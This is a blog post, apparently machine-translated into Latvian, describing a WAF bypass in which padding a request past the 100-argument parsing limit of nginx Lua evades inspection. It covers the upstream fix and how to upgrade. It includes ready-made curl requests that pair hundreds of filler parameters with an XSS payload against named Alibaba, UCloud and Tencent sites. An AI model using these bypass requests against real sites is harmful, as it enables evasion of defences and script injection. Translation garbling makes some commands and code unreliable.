|
|
Publicēts 27.04.2018 09:23:29
|
|
|
|

Kad ginx Lua iegūst parametrus, pirmās 100 parametru vērtības tiek iegūtas pēc noklusējuma, bet pārējās tiek atmestas. Tāpēc WAF, kas izmanto Nginx Lua, pēc noklusējuma tiks apiets. 18. gada 20. aprīlī kāds drošības pasažieris jau bija atklājis šo informāciju, tāpēc es arī publicēju šo rakstu 233.
Princips
Oficiālais apraksts ir šāds
Ņemiet vērā, ka pēc noklusējuma tiek parsēti ne vairāk kā 100 pieprasījuma argumenti (ieskaitot tos, kuriem ir tāds pats nosaukums) un ka papildu pieprasījuma argumenti tiek klusi atmesti, lai pasargātu no iespējamiem pakalpojuma atteikuma uzbrukumi. Pēc noklusējuma var parsēt līdz pat 100 pieprasījuma parametriem (ieskaitot tos, kuriem ir tāds pats nosaukums), un papildu pieprasījuma parametri tiek automātiski atmesti, lai novērstu iespējamos pakalpojuma atteikuma uzbrukumus.
Meklēt 100, aptuveni šādai metodei ir tāda pati problēma. ngx.req.get_uri_args Iegūt pieprasījuma parametrus ngx.req.get_post_args Iegūstiet ziņas pieprasījuma parametrus ngx.req.get_headers Pieprasījuma galvenes iegūšana ngx.decode_args Atšifrējiet parametru URL ngx.resp.get_headers Atbildes galvenes iegūšana Lua-nginx-moduļa avota kodā mēs varam redzēt, ka avota kods nosaka noklusējuma maksimālo pieprasījuma parametru un galveni uz 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Tomēr ierēdnis nodrošina noklusējuma vērtības modificēšanas metodi, piemēram, ngx.req.get_uri_args (200), lai iegūtu pirmos 200 pieprasījuma parametrus.
Tests
Ja pieprasījuma parametrs ir 101, pēdējo pieprasījuma parametru nevar iegūt.
čokurošanās -v "http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg"
Ja samazināsiet vienu pieprasījuma parametru, varat iegūt pēdējo pieprasījuma parametru, kad pieprasījuma parametri ir precīzi 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 A: ZBG Es saņēmu u, zbg
Ņemiet vērā, ka noklusējums patiešām ir 100 pieprasījuma parametri, un pieprasījuma parametri pēc 100 pieprasījuma parametriem tiks atmesti.
Ir dīvaina lieta, ka iepriekš minētajā atgriešanās saturā, aptuvenās pozīcijas vidū, galīgais zbg parametrs jau ir izvadīts. Mans minējums ir tāds, ka izvade nav kārtībā, bet secība, kādā tiek parsēta, seko parametru iesniegšanas secībai, jo, ja 101. parametra vērtība ir zbg, vērtību nevar iegūt.
Pievienots python skripts, kas ģenerē parametrus:
# Autors: ZBG # pasts:zbg@zbg.org # Datums: 2018-04-03
a = '' i diapazonā (200): a = a + 'a{0}={1}&'.format(i+1, i+1) Drukāt A Remonts Protams, nav ieteicams mainīt parametra MAX vērtību avota kodā. Jo neatkarīgi no tā, cik liela ir iestatītā vērtība, to var apiet. Ieteicams to iestatīt, izmantojot metodes parametrus. Ja jūs varat iegūt pieprasījuma parametra garumu un izmantot tādu metodi kā ngx.req.get_uri_args (lenth), vai ar to nepietiktu? Lasot dokumentāciju, es atklāju, ka pieprasīto parametru skaitu nevarēja iegūt. Tomēr, ja iestatāt tālmetienu uz 0, varat iegūt visus pieprasītos parametrus.
Šo argumentu var iestatīt uz nulli, lai noņemtu ierobežojumu un apstrādātu visus saņemtos pieprasījuma argumentus. vietējie argumenti = ngx.req.get_uri_args(0)
Tomēr ir ļoti ieteicams to iestatīt uz 0, lai novērstu iespējamus pakalpojuma atteikuma uzbrukumus.
Ir ļoti ieteicams noņemt max_args vāciņu.
Patiesībā es domāju, kāpēc 0 iestatīšana novedīs pie iespējama pakalpojuma atteikuma uzbrukuma, un pieprasījums jebkurā gadījumā nonāks nginx, neatkarīgi no tā, cik parametru bija get vai post.
Es izvirzīju jautājumu ierēdnim, un autors teica, ka ngx.req.get_uri_args (0) palielinās servera CPU un atmiņas lietojumu. Vēlāk es pārbaudīju 200 parametrus un izmantoju Nginx + php, lai iegūtu 200. parametru, kas nozīmē, ka Nginx pēc noklusējuma neierobežo pieprasīto parametru skaitu. Tad problēma var būt pašā Nginx Lua,Kad Nginx Lua izmanto ngx.req.get_uri_args(0), lai iegūtu visus parametrus un iterētu caur tiem, tiklīdz ir pieprasīts daudz parametru, tas patērē vairāk CPU un atmiņas, un galu galā pat noved pie pakalpojuma atteikuma。
04/03/2018 Bypass007 oficiāli izvirzīja PROBLĒMU par šo kļūdu labojumu un beidzot oficiāli pievienoja jaunu funkciju, pamatojoties uz šo PROBLĒMU 2018-04-21. Šīs funkcijas commit ieraksta adrese: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Funkcijas apraksts ir šāds: Versijās pēc v0.10.13 (ieskaitot v0.10.13), kad tiek pārkāpts pieprasījumu skaita ierobežojums, otrā atgrieztā vērtība ir saīsinātā virkne. Tā kā v0.10.13, kad ierobežojums tiek pārsniegts, tas atgriezīs otru vērtību, kas ir virkne "saīsināta". Tomēr neobligāto max_args funkcijas argumentu var izmantot, lai ignorētu šo ierobežojumu: vietējie argumenti, err = ngx.req.get_uri_args(10) ja err == "saīsināts", tad -- šeit var izvēlēties ignorēt vai noraidīt pašreizējo pieprasījumu beigas
Tātad, galīgais labojums iznāca.
Jauniniet lua-nginx-module uz v0.10.13 vai jaunāku versiju
Tad ierobežojiet kopējo parametru skaitu, jo cik daudz kopējais skaits ir ierobežots, es personīgi domāju, ka pietiek ar 100
OpenResty atjaunina lua-nginx moduļa moduli
Es neatradu nekādu informāciju par OpenResty jaunināšanas moduli, tāpēc es izdomāju, kā pats jaunināt lua-nginx-moduļa moduli.
Darbības ir šādas:
Lejupielādējiet atbilstošo lua-nginx-moduļa moduļa versiju wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 Izkravāt tar -zxvf v0.10.13 Izdzēsiet iepriekšējo lua-nginx-moduļa versiju rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Kopējiet jauno lua-nginx-moduli mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Lai iegūtu kompilāciju, skatiet VeryNginx kompilācijas parametrus
Lietas apvedceļš
Jāprecizē, ka šādi WAF Es neesmu pārliecināts, vai izmantot Nginx Lua, bet tos var apiet ar kopējo parametru skaitu.
Ali WAF
Šis WAF ir WAF, ko iekšēji izmanto Alibaba, tas ir, WAF, ko izmanto domēna vārdi, piemēram, *.taobao.com, un nav pārbaudīts Alibaba Cloud pārdotajam mākoņa WAF. Vispirms pieprasiet POST XSS lietderīgo kravu, lai to pārtvertu. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Izmantojot Fuzz, tika konstatēts, ka, palielinot parametru skaitu līdz 478, izmantojot XSS Payload, tas vairs netiek pārtverts, un vietnei var piekļūt normāli. čokurošanās -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Pārbaudītais WAF ir WAF, ko pārdod UCloud. Kad pieprasījuma parametrs tiek palielināts līdz 138, tas vairs netiks bloķēts un vietnei tiks piekļūts normāli. čokurošanās -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=brīdinājums(1234)" taqu.cn
Tencent WAF
Šis WAF ir WAF, ko Tencent izmanto iekšēji, tas ir, WAF, ko izmanto domēna vārdi, piemēram, *.qq.com, un tas nav pārbaudīts Tencent Cloud pārdotajam mākoņa WAF. Kad pieprasījuma parametrs palielināsies līdz 4000, tas vairs netiks bloķēts un vietnei tiks piekļūts normāli. Tiek ietekmēti šādu domēnu izlases testi. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
Kopsavilkuma
Šis jautājums ir ļoti vienkāršs, un to var atrast, uzmanīgi izlasot dokumentu. Bet kāpēc es to neuzzināju? Es domāju, ka tas joprojām ir pārāk maz domāšanas. Atsauce
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Iepriekšējo:Apgūstiet Photoshop no nulles, 18 nodarbības no iesācēja līdz dievamNākamo:Lua un Luajit stiprās un vājās puses
|